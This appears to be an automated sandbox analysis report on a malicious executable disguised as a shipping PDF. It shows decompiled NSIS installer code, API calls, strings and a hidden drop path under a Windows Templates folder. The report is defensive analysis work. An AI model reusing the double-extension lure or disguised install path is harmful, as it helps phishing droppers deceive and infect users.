Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Original Shipment_Document.PDF.exePID: 2660, Parent PID: 4756COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	17.9%
Signature Coverage:	28.5%
Total number of Nodes:	1240
Total number of Limit Nodes:	76

Executed Functions

Function 004034F7 Relevance: 88.0, APIs: 33, Strings: 17, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				WCHAR* _t92;
				char* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t120;
				intOrPtr* _t124;
				void* _t138;
				void* _t144;
				void* _t149;
				void* _t153;
				void* _t158;
				signed int _t168;
				void* _t171;
				void* _t176;
				intOrPtr _t178;
				intOrPtr _t179;
				intOrPtr* _t180;
				int _t189;
				void* _t190;
				void* _t199;
				signed int _t205;
				signed int _t210;
				signed int _t215;
				signed int _t217;
				int* _t219;
				signed int _t227;
				signed int _t230;
				CHAR* _t232;
				char* _t233;
				signed int _t234;
				WCHAR* _t235;
				void* _t251;

				_t217 = 0x20;
				_t189 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x42a2d8 = _v324.dwBuildNumber;
				 *0x42a2dc = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x42a2de != 0x600) {
					_t180 = E004068D4(_t189);
					if(_t180 != _t189) {
						 *_t180(0xc00);
					}
				}
				_t232 = "UXTHEME";
				do {
					E00406864(_t232); // executed
					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
				} while ( *_t232 != 0);
				E004068D4(0xb);
				 *0x42a224 = E004068D4(9);
				_t88 = E004068D4(7);
				if(_t88 != _t189) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x42a2dc =  *0x42a2dc | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t189); // executed
				 *0x42a2e0 = _t88;
				SHGetFileInfoW(0x4216c8, _t189,  &_v1016, 0x2b4, _t189); // executed
				E00406507(0x429220, L"NSIS Error");
				_t92 = GetCommandLineW();
				_t233 = L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" ";
				E00406507(_t233, _t92);
				_t94 = _t233;
				_t234 = 0x22;
				 *0x42a220 = 0x400000;
				_t251 = L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" " - _t234; // 0x22
				if(_t251 == 0) {
					_t217 = _t234;
					_t94 =  &M00435002;
				}
				_t199 = CharNextW(E00405E03(_t94, _t217));
				_v16 = _t199;
				while(1) {
					_t97 =  *_t199;
					_t252 = _t97 - _t189;
					if(_t97 == _t189) {
						break;
					}
					_t210 = 0x20;
					__eflags = _t97 - _t210;
					if(_t97 != _t210) {
						L17:
						__eflags =  *_t199 - _t234;
						_v12 = _t210;
						if( *_t199 == _t234) {
							_v12 = _t234;
							_t199 = _t199 + 2;
							__eflags = _t199;
						}
						__eflags =  *_t199 - 0x2f;
						if( *_t199 != 0x2f) {
							L32:
							_t199 = E00405E03(_t199, _v12);
							__eflags =  *_t199 - _t234;
							if(__eflags == 0) {
								_t199 = _t199 + 2;
								__eflags = _t199;
							}
							continue;
						} else {
							_t199 = _t199 + 2;
							__eflags =  *_t199 - 0x53;
							if( *_t199 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t215 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t227 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t215;
								__eflags =  *_t199 - (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215);
								if( *_t199 != (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t215)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t210 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t230 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t210;
									__eflags =  *(_t199 - 4) - (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210);
									if( *(_t199 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t210)) {
										L31:
										_t234 = 0x22;
										goto L32;
									}
									__eflags =  *_t199 - _t230;
									if( *_t199 == _t230) {
										 *(_t199 - 4) = _t189;
										__eflags = _t199;
										E00406507(L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen", _t199);
										L37:
										_t235 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t235);
										_t116 = E004034C6(_t199, _t252);
										_t253 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E0040307D(_t255, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t189) {
												L68:
												E00403ADC();
												__imp__OleUninitialize();
												if(_v8 == _t189) {
													if( *0x42a2b4 == _t189) {
														L77:
														_t120 =  *0x42a2cc;
														if(_t120 != 0xffffffff) {
															_v24 = _t120;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
													}
													_t124 = E004068D4(4);
													if(_t124 == _t189) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t189);
														_push(_t189);
														_push(_t189);
														if( *_t124() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405B67(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x42a23c == _t189) {
												L51:
												 *0x42a2cc =  *0x42a2cc | 0xffffffff;
												_v24 = E00403BB6(_t265);
												goto L68;
											}
											_t219 = E00405E03(L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" ", _t189);
											if(_t219 < L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" ") {
												L48:
												_t264 = _t219 - L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" ";
												_v8 = L"Error launching installer";
												if(_t219 < L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" ") {
													_t190 = E00405AD2(__eflags);
													lstrcatW(_t235, L"~nsu");
													__eflags = _t190;
													if(_t190 != 0) {
														lstrcatW(_t235, "A");
													}
													lstrcatW(_t235, L".tmp");
													_t220 = L"C:\\Users\\Arthur\\Desktop";
													_t138 = lstrcmpiW(_t235, L"C:\\Users\\Arthur\\Desktop");
													__eflags = _t138;
													if(_t138 == 0) {
														L67:
														_t189 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t190;
														_push(_t235);
														if(_t190 == 0) {
															E00405AB5();
														} else {
															E00405A38();
														}
														SetCurrentDirectoryW(_t235);
														__eflags = L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen"; // 0x43
														if(__eflags == 0) {
															E00406507(L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen", _t220);
														}
														E00406507(0x42b000, _v16);
														_t202 = "A" & 0x0000ffff;
														_t144 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t144;
														_v12 = 0x1a;
														 *0x42b800 = _t144;
														do {
															E00406544(0, 0x420ec8, _t235, 0x420ec8,  *((intOrPtr*)( *0x42a230 + 0x120)));
															DeleteFileW(0x420ec8);
															__eflags = _v8;
															if(_v8 != 0) {
																_t149 = CopyFileW(L"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe", 0x420ec8, 1);
																__eflags = _t149;
																if(_t149 != 0) {
																	E004062C7(_t202, 0x420ec8, 0);
																	E00406544(0, 0x420ec8, _t235, 0x420ec8,  *((intOrPtr*)( *0x42a230 + 0x124)));
																	_t153 = E00405AEA(0x420ec8);
																	__eflags = _t153;
																	if(_t153 != 0) {
																		CloseHandle(_t153);
																		_v8 = 0;
																	}
																}
															}
															 *0x42b800 =  *0x42b800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E004062C7(_t202, _t235, 0);
														goto L67;
													}
												}
												 *_t219 = _t189;
												_t222 =  &(_t219[2]);
												_t158 = E00405EDE(_t264,  &(_t219[2]));
												_t265 = _t158;
												if(_t158 == 0) {
													goto L68;
												}
												E00406507(L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen", _t222);
												E00406507(L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen", _t222);
												_v8 = _t189;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t205 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t168 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
											while( *_t219 != _t205 || _t219[1] != _t168) {
												_t219 = _t219;
												if(_t219 >= L"\"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe\" ") {
													continue;
												}
												break;
											}
											_t189 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t235, 0x3fb);
										lstrcatW(_t235, L"\\Temp");
										_t171 = E004034C6(_t199, _t253);
										_t254 = _t171;
										if(_t171 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t235);
										lstrcatW(_t235, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t235);
										SetEnvironmentVariableW(L"TMP", _t235);
										_t176 = E004034C6(_t199, _t254);
										_t255 = _t176;
										if(_t176 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
									goto L29;
								}
								_t178 =  *((intOrPtr*)(_t199 + 8));
								__eflags = _t178 - 0x20;
								if(_t178 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t178 - _t189;
								if(_t178 != _t189) {
									goto L29;
								}
								goto L28;
							}
							_t179 =  *((intOrPtr*)(_t199 + 2));
							__eflags = _t179 - _t210;
							if(_t179 == _t210) {
								L23:
								 *0x42a2c0 = 1;
								goto L24;
							}
							__eflags = _t179 - _t189;
							if(_t179 != _t189) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t199 = _t199 + 2;
						__eflags =  *_t199 - _t210;
					} while ( *_t199 == _t210);
					goto L17;
				}
				goto L37;
			}

0x00403505
0x00403506
0x0040350d
0x00403510
0x00403517
0x0040351a
0x0040352d
0x00403533
0x00403536
0x00403539
0x00403547
0x0040354f
0x0040355a
0x00403573
0x00403575
0x0040357d
0x0040357d
0x00403588
0x0040358a
0x0040358a
0x0040359f
0x004035c4
0x004035d2
0x004035d5
0x004035dc
0x004035e3
0x004035e3
0x004035dc
0x004035e5
0x004035ea
0x004035eb
0x004035f7
0x004035fb
0x00403602
0x00403610
0x00403615
0x0040361c
0x00403620
0x00403624
0x00403626
0x00403626
0x00403624
0x0040362d
0x00403634
0x0040363a
0x00403652
0x00403662
0x00403667
0x0040366d
0x00403674
0x0040367b
0x0040367d
0x0040367e
0x00403688
0x0040368f
0x00403691
0x00403693
0x00403693
0x004036a6
0x004036a8
0x004037a2
0x004037a2
0x004037a5
0x004037a8
0x00000000
0x00000000
0x004036b2
0x004036b3
0x004036b6
0x004036bf
0x004036bf
0x004036c2
0x004036c5
0x004036c8
0x004036cb
0x004036cb
0x004036cb
0x004036cc
0x004036d0
0x00403790
0x00403799
0x0040379b
0x0040379e
0x004037a1
0x004037a1
0x004037a1
0x00000000
0x004036d6
0x004036d7
0x004036d8
0x004036dc
0x004036f6
0x004036fd
0x00403710
0x00403711
0x00403726
0x0040372b
0x0040372d
0x0040372f
0x0040374b
0x00403752
0x00403765
0x00403766
0x0040377b
0x00403781
0x00403783
0x00403785
0x0040378d
0x0040378f
0x00000000
0x0040378f
0x00403789
0x0040378b
0x004037b0
0x004037b4
0x004037bd
0x004037c2
0x004037c8
0x004037d3
0x004037d5
0x004037da
0x004037dc
0x00403834
0x00403839
0x00403842
0x00403849
0x0040384c
0x00403a23
0x00403a23
0x00403a28
0x00403a31
0x00403a4e
0x00403ac6
0x00403ac6
0x00403ace
0x00403ad0
0x00403ad0
0x00403ad6
0x00403ad6
0x00403a65
0x00403a71
0x00403a82
0x00403a89
0x00403a90
0x00403a90
0x00403a98
0x00403aa4
0x00403ab2
0x00403abd
0x00000000
0x00000000
0x00000000
0x00403aa6
0x00403aa6
0x00403aa7
0x00403aa9
0x00403aaa
0x00403aab
0x00403ab0
0x00403abf
0x00403ac1
0x00000000
0x00403ac1
0x00000000
0x00403ab0
0x00403aa4
0x00403a3b
0x00403a42
0x00403a42
0x00403858
0x004038ff
0x004038ff
0x0040390b
0x00000000
0x0040390b
0x00403869
0x00403871
0x004038c3
0x004038c3
0x004038c9
0x004038d0
0x0040391e
0x00403920
0x00403925
0x00403927
0x0040392f
0x0040392f
0x0040393a
0x0040393f
0x00403946
0x0040394c
0x0040394e
0x00403a21
0x00403a21
0x00403a21
0x00000000
0x00403954
0x00403954
0x00403956
0x00403957
0x00403960
0x00403959
0x00403959
0x00403959
0x00403966
0x0040396e
0x00403975
0x0040397d
0x0040397d
0x0040398a
0x00403996
0x004039a0
0x004039a0
0x004039a2
0x004039a9
0x004039b3
0x004039bf
0x004039c5
0x004039cb
0x004039ce
0x004039d8
0x004039de
0x004039e0
0x004039e4
0x004039f5
0x004039fb
0x00403a00
0x00403a02
0x00403a05
0x00403a0b
0x00403a0b
0x00403a02
0x004039e0
0x00403a0e
0x00403a15
0x00403a15
0x00403a15
0x00403a15
0x00403a1c
0x00000000
0x00403a1c
0x0040394e
0x004038d2
0x004038d5
0x004038d9
0x004038de
0x004038e0
0x00000000
0x00000000
0x004038ec
0x004038f7
0x004038fc
0x00000000
0x004038fc
0x0040387a
0x00403892
0x004038a3
0x004038a4
0x004038a8
0x004038aa
0x004038b8
0x004038bf
0x00000000
0x00000000
0x00000000
0x004038bf
0x004038c1
0x00000000
0x004038c1
0x004037e4
0x004037f0
0x004037f5
0x004037fa
0x004037fc
0x00000000
0x00000000
0x00403804
0x0040380c
0x0040381d
0x00403825
0x00403827
0x0040382c
0x0040382e
0x00000000
0x00000000
0x00000000
0x0040382e
0x00000000
0x0040378b
0x00403734
0x00403736
0x00000000
0x00000000
0x00403738
0x0040373c
0x00403740
0x00403747
0x00403747
0x00403747
0x00403747
0x00000000
0x00403747
0x00403742
0x00403745
0x00000000
0x00000000
0x00000000
0x00403745
0x004036de
0x004036e2
0x004036e5
0x004036ec
0x004036ec
0x00000000
0x004036ec
0x004036e7
0x004036ea
0x00000000
0x00000000
0x00000000
0x004036ea
0x00000000
0x00000000
0x00000000
0x004036b8
0x004036b8
0x004036b9
0x004036ba
0x004036ba
0x00000000
0x004036b8
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 0040351A
GetVersionExW.KERNEL32(?), ref: 00403543
GetVersionExW.KERNEL32(0000011C), ref: 0040355A
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004035F1
#17.COMCTL32(00000007,00000009,0000000B), ref: 0040362D
OleInitialize.OLE32(00000000), ref: 00403634
SHGetFileInfoW.SHELL32(004216C8,00000000,?,000002B4,00000000), ref: 00403652
GetCommandLineW.KERNEL32(00429220,NSIS Error), ref: 00403667
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" ,00000020,"C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" ,00000000), ref: 004036A0
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 004037D3
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004037E4
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004037F0
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403804
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040380C
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040381D
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403825
DeleteFileW.KERNELBASE(1033), ref: 00403839
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403920
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 0040392F

Part of subcall function 00405AB5: CreateDirectoryW.KERNELBASE(?,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00405ABB

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 0040393A
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" ,00000000,?), ref: 00403946
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403966
DeleteFileW.KERNEL32(00420EC8,00420EC8,?,0042B000,?), ref: 004039C5
CopyFileW.KERNEL32(C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,00420EC8,00000001), ref: 004039D8
CloseHandle.KERNEL32(00000000,00420EC8,00420EC8,?,00420EC8,00000000), ref: 00403A05
OleUninitialize.OLE32(?), ref: 00403A28
ExitProcess.KERNEL32 ref: 00403A42
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403A56
OpenProcessToken.ADVAPI32(00000000), ref: 00403A5D
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403A71
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403A90
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AB5
ExitProcess.KERNEL32 ref: 00403AD6

Strings

C:\Users\user\Desktop, xrefs: 0040393F, 00403944, 00403977
"C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" , xrefs: 0040366D, 00403673, 00403688, 0040385F, 0040386B, 004038B9, 004038C3
\Temp, xrefs: 004037EA
Error launching installer, xrefs: 004038C9
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 004038F2
1033, xrefs: 00403834
UXTHEME, xrefs: 004035E5, 004035EA, 004035F0
SeShutdownPrivilege, xrefs: 00403A6B
.tmp, xrefs: 00403934
~nsu, xrefs: 00403918
C:\Users\user\Desktop\Original Shipment_Document.PDF.exe, xrefs: 004039D3
Low, xrefs: 00403806
TMP, xrefs: 00403820
NSIS Error, xrefs: 00403658
C:\Users\user\AppData\Local\Temp\, xrefs: 004037C8, 004037CD, 004037E3, 004037EF, 004037FE, 0040380B, 00403817, 0040381F, 0040391D, 0040392E, 00403939, 00403945, 00403956, 00403965, 00403A1B
TEMP, xrefs: 00403818
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 004037B8, 004038E7, 0040396E, 00403978

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\Desktop\Original Shipment_Document.PDF.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen$C:\Users\user\Desktop$C:\Users\user\Desktop\Original Shipment_Document.PDF.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3859024572-3028300560
Opcode ID: 55c7016762525c6a9738456634aaca118f002db87e226799c45e808ed39abf52
Instruction ID: 4ac2e024d61b6b1728d26ff681f76297cbcac85f62426f0f8165ebe0db49c467
Opcode Fuzzy Hash: 55c7016762525c6a9738456634aaca118f002db87e226799c45e808ed39abf52
Instruction Fuzzy Hash: 79E10770A00214ABDB20AFB59D45BAF3AB8EB04709F50847FF441B62D1DB7D8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004056A8 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E004056A8(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t119;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x429204;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E0040563C, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						CloseHandle(_t127); // executed
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E00406544(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x423708;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x4291ec == _t156) {
							ShowWindow( *0x42a228, 8);
							if( *0x42a2ac == _t156) {
								_t119 =  *0x4226e0; // 0x54b2dc
								E00405569( *((intOrPtr*)(_t119 + 0x34)), _t156);
							}
							E0040443C(_t171);
							goto L25;
						}
						 *0x421ed8 = 2;
						E0040443C(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E004044CA(_a8, _a12, _a16);
						}
						ShowWindow( *0x4291f0, _t156);
						ShowWindow(_t169, 8);
						E00404498(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x42a230;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x4291f0 = GetDlgItem(_a4, 0x403);
				 *0x4291e8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x429204 = _t134;
				_v8 = _t134;
				E00404498( *0x4291f0);
				 *0x4291f4 = E00404DF1(4);
				 *0x42920c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404463(_a4);
				if(( *0x42a238 & 0x00000003) != 0) {
					ShowWindow( *0x4291f0, _t156);
					if(( *0x42a238 & 0x00000002) != 0) {
						 *0x4291f0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E00404498( *0x4291e8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x42a238 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x004056b0
0x004056b6
0x004056c0
0x004056c3
0x00405859
0x00405876
0x0040587d
0x0040587d
0x00405890
0x004058ae
0x004058b0
0x004058b8
0x0040590e
0x00405912
0x00000000
0x00000000
0x00405914
0x0040591a
0x00000000
0x00000000
0x00405924
0x0040592c
0x0040592f
0x00405a31
0x00000000
0x00405a31
0x0040593e
0x00405949
0x00405952
0x0040595d
0x00405960
0x00405969
0x0040596f
0x00405972
0x00405972
0x0040598a
0x00405993
0x00405996
0x0040599d
0x004059a4
0x004059ac
0x004059ac
0x004059c3
0x004059c3
0x004059ca
0x004059d0
0x004059dc
0x004059e3
0x004059ec
0x004059ee
0x004059f1
0x00405a00
0x00405a03
0x00405a09
0x00405a0a
0x00405a10
0x00405a11
0x00405a12
0x00405a1a
0x00405a25
0x00405a2b
0x00405a2b
0x00000000
0x0040598a
0x004058c0
0x004058f0
0x004058f8
0x004058fa
0x00405903
0x00405903
0x00405909
0x00000000
0x00405909
0x004058c4
0x004058ce
0x00000000
0x00405892
0x00405898
0x004058d3
0x00000000
0x004058dc
